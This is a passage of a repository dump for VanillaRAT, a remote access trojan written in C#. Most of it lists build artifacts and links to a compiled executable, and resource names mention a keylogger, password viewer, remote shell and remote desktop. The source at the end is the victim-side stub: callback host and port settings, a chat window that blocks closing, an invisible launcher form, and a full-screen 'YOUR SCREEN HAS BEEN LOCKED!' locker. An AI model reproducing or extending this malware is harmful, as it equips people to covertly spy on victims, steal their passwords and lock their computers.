/VanillaRat/obj/Debug/Costura/BFA0E27BE1D56BA48918A9B7CA7090AF7779A10E.costura.system.io.filesystem.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/BFA0E27BE1D56BA48918A9B7CA7090AF7779A10E.costura.system.io.filesystem.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/BFE2384A92B385665689AD5A72F23ABC8C022D82.costura.system.componentmodel.typeconverter.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/BFE2384A92B385665689AD5A72F23ABC8C022D82.costura.system.componentmodel.typeconverter.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/C2E4B19CB9A0B48E899512CD121FFE6657D41072.costura.system.text.regularexpressions.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/C2E4B19CB9A0B48E899512CD121FFE6657D41072.costura.system.text.regularexpressions.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/C3848473E42E2F9B4D0A00180EA9ADE654432587.costura.system.diagnostics.textwritertracelistener.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/C3848473E42E2F9B4D0A00180EA9ADE654432587.costura.system.diagnostics.textwritertracelistener.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/C53132EC95A7211C1BB6DCD5AD21CCB150A7B923.costura.system.threading.thread.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/C53132EC95A7211C1BB6DCD5AD21CCB150A7B923.costura.system.threading.thread.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/D707745E72D2F39374F2D28AF52AAAB7888B93AB.costura.system.drawing.primitives.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/D707745E72D2F39374F2D28AF52AAAB7888B93AB.costura.system.drawing.primitives.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/D9DF77B4993418337894FF04C6B813224B9F8543.costura.system.io.memorymappedfiles.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/D9DF77B4993418337894FF04C6B813224B9F8543.costura.system.io.memorymappedfiles.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/DDDA49572D112944EC9AB62B31959AA93A386618.costura.system.threading.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/DDDA49572D112944EC9AB62B31959AA93A386618.costura.system.threading.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/DFAD52A9990B2FAFCE7098CEBB174927E8E0BA00.costura.system.xml.xdocument.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/DFAD52A9990B2FAFCE7098CEBB174927E8E0BA00.costura.system.xml.xdocument.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/E0FAD5EF75676B2ED7CF155AF6602B867FCED041.costura.system.net.websockets.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/E0FAD5EF75676B2ED7CF155AF6602B867FCED041.costura.system.net.websockets.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/EB8C010A35B461402C1C33133F1B61C78BE8425A.costura.system.diagnostics.debug.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/EB8C010A35B461402C1C33133F1B61C78BE8425A.costura.system.diagnostics.debug.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/ED23E654968B3704A82F613B06BE5829E0CAAD70.costura.system.security.cryptography.encoding.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/ED23E654968B3704A82F613B06BE5829E0CAAD70.costura.system.security.cryptography.encoding.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/ED25E94D4E88293345A0F28A5B975159C393B050.costura.system.xml.xpath.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/ED25E94D4E88293345A0F28A5B975159C393B050.costura.system.xml.xpath.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/EE1AE416570911282ABDD3745674E58F9D469C9E.costura.system.runtime.serialization.json.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/EE1AE416570911282ABDD3745674E58F9D469C9E.costura.system.runtime.serialization.json.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/EF317CACC230A58A3B2FCC6CC079CC763AFCC7C5.costura.system.xml.readerwriter.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/EF317CACC230A58A3B2FCC6CC079CC763AFCC7C5.costura.system.xml.readerwriter.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/EF6B3CCFF90BEDDAB5CE6F60B4CC23F75EDFD009.costura.system.diagnostics.stacktrace.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/EF6B3CCFF90BEDDAB5CE6F60B4CC23F75EDFD009.costura.system.diagnostics.stacktrace.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/F3BD9B4108ACD42ABFB99A3A4760BFFCB84F6C28.costura.system.reflection.extensions.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/F3BD9B4108ACD42ABFB99A3A4760BFFCB84F6C28.costura.system.reflection.extensions.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/F434AF8CE30EAF5511E28C0230211F0D8ED4A154.costura.system.runtime.serialization.xml.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/F434AF8CE30EAF5511E28C0230211F0D8ED4A154.costura.system.runtime.serialization.xml.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/F720109A38846E358BDE7C47D9C946A79D2B6B1C.costura.system.threading.tasks.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/F720109A38846E358BDE7C47D9C946A79D2B6B1C.costura.system.threading.tasks.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/F874903CEA9F08F1A0887949B47722E6BA81B789.costura.system.threading.threadpool.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/F874903CEA9F08F1A0887949B47722E6BA81B789.costura.system.threading.threadpool.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/FCA2F72C039937357099CA6E167330E540F8335D.costura.system.io.filesystem.primitives.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/FCA2F72C039937357099CA6E167330E540F8335D.costura.system.io.filesystem.primitives.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/FD622ADE5CAE26353A22B6FA50A83669B72B6C41.costura.system.runtime.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/FD622ADE5CAE26353A22B6FA50A83669B72B6C41.costura.system.runtime.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/FF6E6BCD83A11D40BF53DABD0480A67AECFDCF50.costura.system.security.securestring.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/FF6E6BCD83A11D40BF53DABD0480A67AECFDCF50.costura.system.security.securestring.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/DesignTimeResolveAssemblyReferences.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/DesignTimeResolveAssemblyReferences.cache
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/TempPE/Properties.Resources.Designer.cs.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/TempPE/Properties.Resources.Designer.cs.dll
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/VanillaRat.Forms.AudioRecorder.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/VanillaRat.Forms.AudioRecorder.resources
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/VanillaRat.Forms.BuilderForm.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/VanillaRat.Forms.BuilderForm.resources
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/VanillaRat.Forms.Chat.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/VanillaRat.Forms.Chat.resources
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/VanillaRat.Forms.ClientRunningApps.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/VanillaRat.Forms.ClientRunningApps.resources
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/VanillaRat.Forms.ClipboardTextViewer.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/VanillaRat.Forms.ClipboardTextViewer.resources
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/VanillaRat.Forms.ComputerInformation.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/VanillaRat.Forms.ComputerInformation.resources
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/VanillaRat.Forms.FileExplorer.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/VanillaRat.Forms.FileExplorer.resources
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/VanillaRat.Forms.HardwareUsageViewer.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/VanillaRat.Forms.HardwareUsageViewer.resources
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/VanillaRat.Forms.Keylogger.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/VanillaRat.Forms.Keylogger.resources
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/VanillaRat.Forms.NotificationBox.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/VanillaRat.Forms.NotificationBox.resources
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/VanillaRat.Forms.OpenWebsite.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/VanillaRat.Forms.OpenWebsite.resources
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/VanillaRat.Forms.PasswordViewer.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/VanillaRat.Forms.PasswordViewer.resources
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/VanillaRat.Forms.RDC.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/VanillaRat.Forms.RDC.resources
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/VanillaRat.Forms.RemoteDesktopViewer.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/VanillaRat.Forms.RemoteDesktopViewer.resources
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/VanillaRat.Forms.RemoteShell.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/VanillaRat.Forms.RemoteShell.resources
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/VanillaRat.Forms.SettingsForm.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/VanillaRat.Forms.SettingsForm.resources
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/VanillaRat.Main.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/VanillaRat.Main.resources
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/VanillaRat.Properties.Resources.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/VanillaRat.Properties.Resources.resources
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/VanillaRat.csproj.CopyComplete:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/VanillaRat.csproj.CopyComplete
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/VanillaRat.csproj.CoreCompileInputs.cache:
--------------------------------------------------------------------------------
1 | 4d83e1d47cf1607eced351a63e1393cf4745deca
2 |
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/VanillaRat.csproj.Fody.CopyLocal.cache:
--------------------------------------------------------------------------------
1 | C:\Users\dhuin\Desktop\Projects\C#\VanillaRat\packages\dnlib.3.1.0\lib\net461\dnlib.xml
2 |
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/VanillaRat.csproj.GenerateResource.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/VanillaRat.csproj.GenerateResource.cache
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/VanillaRat.csprojAssemblyReference.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/VanillaRat.csprojAssemblyReference.cache
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/VanillaRat.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/VanillaRat.exe
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/VanillaRat.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/VanillaRat.pdb
--------------------------------------------------------------------------------
/VanillaRat/obj/x64/Debug/DesignTimeResolveAssemblyReferencesInput.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/x64/Debug/DesignTimeResolveAssemblyReferencesInput.cache
--------------------------------------------------------------------------------
/VanillaRat/obj/x64/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/x64/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs
--------------------------------------------------------------------------------
/VanillaRat/obj/x64/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/x64/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs
--------------------------------------------------------------------------------
/VanillaRat/obj/x64/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/x64/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs
--------------------------------------------------------------------------------
/VanillaRat/obj/x64/Debug/VanillaRat.csproj.CoreCompileInputs.cache:
--------------------------------------------------------------------------------
1 | 95d6936520a257c53b99ed30945c8612db5a962d
2 |
--------------------------------------------------------------------------------
/VanillaRat/obj/x64/Release/DesignTimeResolveAssemblyReferencesInput.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/x64/Release/DesignTimeResolveAssemblyReferencesInput.cache
--------------------------------------------------------------------------------
/VanillaRat/obj/x64/Release/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/x64/Release/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs
--------------------------------------------------------------------------------
/VanillaRat/obj/x64/Release/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/x64/Release/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs
--------------------------------------------------------------------------------
/VanillaRat/obj/x64/Release/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/x64/Release/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs
--------------------------------------------------------------------------------
/VanillaRat/obj/x64/Release/VanillaRat.csproj.CoreCompileInputs.cache:
--------------------------------------------------------------------------------
1 | 8020f495e8aae5ef658f0759fbfcba668668f1ed
2 |
--------------------------------------------------------------------------------
/VanillaRat/packages.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/VanillaRatDemo.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRatDemo.gif
--------------------------------------------------------------------------------
/VanillaStub/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/VanillaStub/ClientSettings.cs:
--------------------------------------------------------------------------------
1 | namespace VanillaRatStub
2 | {
3 | public static class ClientSettings
4 | {
5 | public static string DNS = "127.0.0.1";
6 | public static string Port = "1604";
7 | public static string ClientTag = "Tag";
8 | public static string UpdateInterval = "1";
9 | public static string Install = "False";
10 | public static string Startup = "False";
11 | }
12 | }
--------------------------------------------------------------------------------
/VanillaStub/Forms/Chat.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Text;
4 | using System.Windows.Forms;
5 | using VanillaStub.Helpers;
6 | using VanillaStub.Helpers.Networking;
7 |
8 | namespace VanillaStub.Forms
9 | {
10 | public partial class Chat : Form
11 | {
12 | public Chat()
13 | {
14 | InitializeComponent();
15 | }
16 |
17 | //Prevent form closing
18 | private void OnClosing(object sender, FormClosingEventArgs e)
19 | {
20 | if (e.CloseReason == CloseReason.UserClosing)
21 | e.Cancel = true;
22 | }
23 |
24 | //Send message by button
25 | private void btnSend_Click(object sender, EventArgs e)
26 | {
27 | if (string.IsNullOrWhiteSpace(txtChat.Text))
28 | txtChat.Text = "You: " + txtSend.Text;
29 | else
30 | txtChat.AppendText(Environment.NewLine + "You: " + txtSend.Text);
31 | List ToSend = new List();
32 | ToSend.Add((int) DataType.MessageType);
33 | ToSend.AddRange(Encoding.ASCII.GetBytes(txtSend.Text));
34 | Networking.MainClient.Send(ToSend.ToArray());
35 | txtSend.Text = "";
36 | }
37 |
38 | //If enter key is pressed, send message
39 | private void KeyDown(object sender, KeyEventArgs e)
40 | {
41 | if (e.KeyCode == Keys.Enter)
42 | {
43 | if (string.IsNullOrWhiteSpace(txtChat.Text))
44 | txtChat.Text = "You: " + txtSend.Text;
45 | else
46 | txtChat.AppendText(Environment.NewLine + "You: " + txtSend.Text);
47 | List ToSend = new List();
48 | ToSend.Add((int) DataType.MessageType);
49 | ToSend.AddRange(Encoding.ASCII.GetBytes(txtSend.Text));
50 | Networking.MainClient.Send(ToSend.ToArray());
51 | txtSend.Text = "";
52 | }
53 | }
54 |
55 | //Tell server client is connected if visible
56 | private void OnVisibleChange(object sender, EventArgs e)
57 | {
58 | if (Visible)
59 | {
60 | List ToSend = new List();
61 | ToSend.Add((int) DataType.MessageType);
62 | ToSend.AddRange(Encoding.ASCII.GetBytes("Connected to chat"));
63 | Networking.MainClient.Send(ToSend.ToArray());
64 | }
65 | }
66 | }
67 | }
--------------------------------------------------------------------------------
/VanillaStub/Forms/IScreenLocker.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Windows.Forms;
3 |
4 | namespace VanillaStub
5 | {
6 | public class IScreenLocker : Form
7 | {
8 | //Override form load to place center
9 | protected override void OnLoad(EventArgs e)
10 | {
11 | FormBorderStyle = FormBorderStyle.None;
12 | WindowState = FormWindowState.Maximized;
13 | TopMost = true;
14 | base.OnLoad(e);
15 | }
16 | }
17 | }
--------------------------------------------------------------------------------
/VanillaStub/Forms/InitialForm.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace VanillaStub.Forms
2 | {
3 | partial class InitialForm
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows Form Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | this.SuspendLayout();
32 | //
33 | // InitialForm
34 | //
35 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
36 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
37 | this.ClientSize = new System.Drawing.Size(120, 0);
38 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
39 | this.MaximizeBox = false;
40 | this.MinimizeBox = false;
41 | this.Name = "InitialForm";
42 | this.Opacity = 0D;
43 | this.ShowIcon = false;
44 | this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.OnClosing);
45 | this.Load += new System.EventHandler(this.OnLoad);
46 | this.Shown += new System.EventHandler(this.OnShow);
47 | this.ResumeLayout(false);
48 |
49 | }
50 |
51 | #endregion
52 | }
53 | }
--------------------------------------------------------------------------------
/VanillaStub/Forms/ScreenLock.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace VanillaStub.Forms
2 | {
3 | partial class ScreenLock
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows Form Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | this.lblTitle = new System.Windows.Forms.Label();
32 | this.SuspendLayout();
33 | //
34 | // lblTitle
35 | //
36 | this.lblTitle.Anchor = System.Windows.Forms.AnchorStyles.None;
37 | this.lblTitle.AutoSize = true;
38 | this.lblTitle.Font = new System.Drawing.Font("Trebuchet MS", 26.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
39 | this.lblTitle.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(223)))), ((int)(((byte)(230)))), ((int)(((byte)(233)))));
40 | this.lblTitle.Location = new System.Drawing.Point(117, 150);
41 | this.lblTitle.Name = "lblTitle";
42 | this.lblTitle.Size = new System.Drawing.Size(567, 43);
43 | this.lblTitle.TabIndex = 0;
44 | this.lblTitle.Text = "YOUR SCREEN HAS BEEN LOCKED!";
45 | //
46 | // ScreenLock
47 | //
48 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
